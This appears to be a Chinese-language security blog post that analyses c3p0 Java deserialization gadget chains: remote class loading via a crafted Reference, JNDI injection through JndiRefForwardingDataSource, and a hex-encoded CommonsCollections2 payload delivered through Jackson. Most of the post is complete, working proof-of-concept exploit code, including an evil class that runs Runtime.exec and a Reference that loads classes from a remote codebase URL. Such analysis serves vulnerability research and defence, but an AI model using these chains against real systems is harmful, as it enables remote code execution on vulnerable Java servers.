• c3p0


    C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。c3p0是异步操作的,缓慢的JDBC操作通过帮助进程完成。扩展这些操作可以有效的提升性能。目前使用它的开源项目有hibernate,spring等。是一个成熟的、高并发的JDBC连接池库,用于缓存和重用PreparedStatements支持。c3p0具有自动回收空闲连接功能。
  • http base


    触发点是 PoolBackedDataSourceBase 中的 readObject 方法,在其中调用了 getObject 方法
    image-20220418093523078
    跟进 getObject,其中又调用了 referenceToObject 方法(之前也是有 lookup,但 contextName 不可控,所以这里不能 jndi 注入)
    image-20220418093903696
    继续跟进 referenceToObject 方法,发现这里可以直接远程加载 class,对应的参数是 Reference 中的 classFactory classFactoryLocation 属性,最后从 classFactoryLocation 中加载 classFactory 类
    image-20220418094038188
    看一下 poc 是怎么写的:
    package moonflower.reflection.c3p0;
    
    import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
    
    import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
    import com.mchange.v2.naming.ReferenceIndirector;
    
    import javax.naming.Name;
    import javax.naming.NamingException;
    import javax.naming.Reference;
    import javax.naming.Referenceable;
    import javax.sql.ConnectionPoolDataSource;
    import javax.sql.PooledConnection;
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.rmi.Naming;
    import java.sql.SQLException;
    import java.sql.SQLFeatureNotSupportedException;
    import java.util.logging.Logger;
    
    public class c3p0SerDemo {
        public static void main(String[] args) throws Exception{
            PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
            Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
            Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); //此类是PoolBackedDataSourceBase抽象类的实现
            f1.setAccessible(true);
            f1.set(a,new evil());
    
            ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
            ser.writeObject(a);
            ser.close();
            ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
            unser.readObject();
            unser.close();
        }
    
        public static class evil implements ConnectionPoolDataSource, Referenceable {
            public PrintWriter getLogWriter () throws SQLException {return null;}
            public void setLogWriter ( PrintWriter out ) throws SQLException {}
            public void setLoginTimeout ( int seconds ) throws SQLException {}
            public int getLoginTimeout () throws SQLException {return 0;}
            public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
            public PooledConnection getPooledConnection () throws SQLException {return null;}
            public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
    
            @Override
            public Reference getReference() throws NamingException {
                return new Reference("evilexp","evilexp","http://127.0.0.1:10099/");
            }
        }
    }
    

    evilexp.java:(注意不要有包名!)
    public class evilexp {
        public evilexp() throws Exception{
            Runtime.getRuntime().exec("calc");
        }
    }
    

    看一下如何修改 classFactory classFactoryLocation 的值。PoolBackedDataSourceBase 中的 writeObject,首先尝试序列化当前对象的 connectionPoolDataSource 属性,如果不能序列化便会进入 catch 部分,在 catch 中用 ReferenceIndirector.indirectForm 处理后再进行序列化。
    image-20220418091546679
    跟进 indirectForm,此方法会调用传入参数的 getReference 方法,用返回的结果实例化一个 ReferenceSerialized对象,然后返回这个对象,在这个过程中,传入的 object 也就是 reference 对象是我们构造的触发反序列化的对象。
    image-20220418091705259
    getReference 在 poc 中声明:
    image-20220418111815732
    对应到 Reference 类中,完成赋值
    image-20220418112126678
  • JNDI 注入


    在 fastjson 或 jackson 的环境下利用,要求 jdk8u191 一下的版本(在jdk8u191 后添加了 trustCodebaseURL 的限制,无法加载远程 codebase 的字节码)
    image-20220418113203965
    poc:(以 jackson 为例)
    用到的工具:https://github.com/welk1n/JNDI-Injection-Exploit/
    import com.fasterxml.jackson.databind.ObjectMapper;
    
    import java.io.*;
    
    class Person {
        public Object object;
    }
    
    public class TemplatePoc {
        public static void main(String[] args) throws IOException {
            String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}";
            System.out.println(poc);
            ObjectMapper objectMapper = new ObjectMapper();
            objectMapper.enableDefaultTyping();
            objectMapper.readValue(poc, Person.class);
        }
    
        public static byte[] toByteArray(InputStream in) throws IOException {
            byte[] classBytes;
            classBytes = new byte[in.available()];
            in.read(classBytes);
            in.close();
            return classBytes;
        }
    
        public static String bytesToHexString(byte[] bArray, int length) {
            StringBuffer sb = new StringBuffer(length);
    
            for(int i = 0; i < length; ++i) {
                String sTemp = Integer.toHexString(255 & bArray[i]);
                if (sTemp.length() < 2) {
                    sb.append(0);
                }
                sb.append(sTemp.toUpperCase());
            }
            return sb.toString();
        }
    
    }
    

    image-20220418195455014
    顺着 poc 看一下漏洞触发点:com.mchange.v2.c3p0.JndiRefForwardingDataSource,传入的参数是 jndiName,首先调用 setJndiName 方法改变 jndiName 的值
    image-20220418200541519
    然后传入一个 LoginTimeout 属性,同样跟进对应的 setLoginTimeout 方法,
    image-20220418201943177
    跟进 JndiRefForwardingDataSource#inner ,在其中调用了 dereference 方法
    image-20220418202337419
    最后是在 dereference 中调用 lookup,参数是前面修改的 jndiName
    image-20220418202418154
  • HEX序列化字节加载器


    同样用于 fastjson 和 jackson 的环境,可以实现不出网回显。
    poc:(其中 go 方法生成了一个 cc2 的 payload)
    package moonflower.reflection.c3p0;
    
    import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Locale;
    import java.util.PriorityQueue;
    
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    
    import com.fasterxml.jackson.databind.ObjectMapper;
    
    public class c3p {
    
        public static void main(String[] args) throws Exception {
            PriorityQueue a = go();
            ObjectOutputStream ser0 = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
            ser0.writeObject(a);
            ser0.close();
    
            InputStream in = new FileInputStream("a.bin");
            byte[] data = toByteArray(in);
            in.close();
            String HexString = bytesToHexString(data, data.length);
            String poc = "{\"object\":[\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",{\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ HexString + ";\"}]}";
    
            System.out.println(poc);
            ObjectMapper objectMapper = new ObjectMapper();
            objectMapper.enableDefaultTyping();
            objectMapper.readValue(poc, Person.class);
        }
    
        public static PriorityQueue go() throws Exception {
    
            ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class}, new Object[]{"calc.exe"})});
            TransformingComparator comparator = new TransformingComparator(chain);
            PriorityQueue queue = new PriorityQueue(1);
            queue.add(1);
            queue.add(2);
    
            Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
            field.setAccessible(true);
            field.set(queue, comparator);
    
            return queue;
        }
    
        public static byte[] toByteArray(InputStream in) throws IOException {
            byte[] classBytes;
            classBytes = new byte[in.available()];
            in.read(classBytes);
            in.close();
            return classBytes;
        }
    
        public static String bytesToHexString(byte[] bArray, int length) {
            StringBuilder sb = new StringBuilder(length);
    
            for (int i = 0; i < length; i++) {
                String sTemp = Integer.toHexString(255 & bArray[i]);
                if (sTemp.length() < 2) {
                    sb.append(0);
                }
    
                sb.append(sTemp.toUpperCase());
            }
            return sb.toString();
        }
    }
    

    image-20220418213827079
    首先传入 userOverridesAsString,跟进对应的 setUserOverridesAsString 方法:
    image-20220418214505795
    然后进入 WrapperConnectionPoolDataSource 的 setUpPropertyListeners 方法,在其中调用 parseUserOverridesAsString 方法解析对应的 value,也就是 payload 中的 HexAsciiSerializedMap 部分,
    image-20220418214954196
    接着提取内容,并进行格式转换,
    image-20220418215215826
    跟进 fromByteArray,最后在调用的 deserializeFromByteArray 方法中触发了反序列化。
    image-20220418215257487
    image-20220418215451147
  • 参考文献


标签: none

添加新评论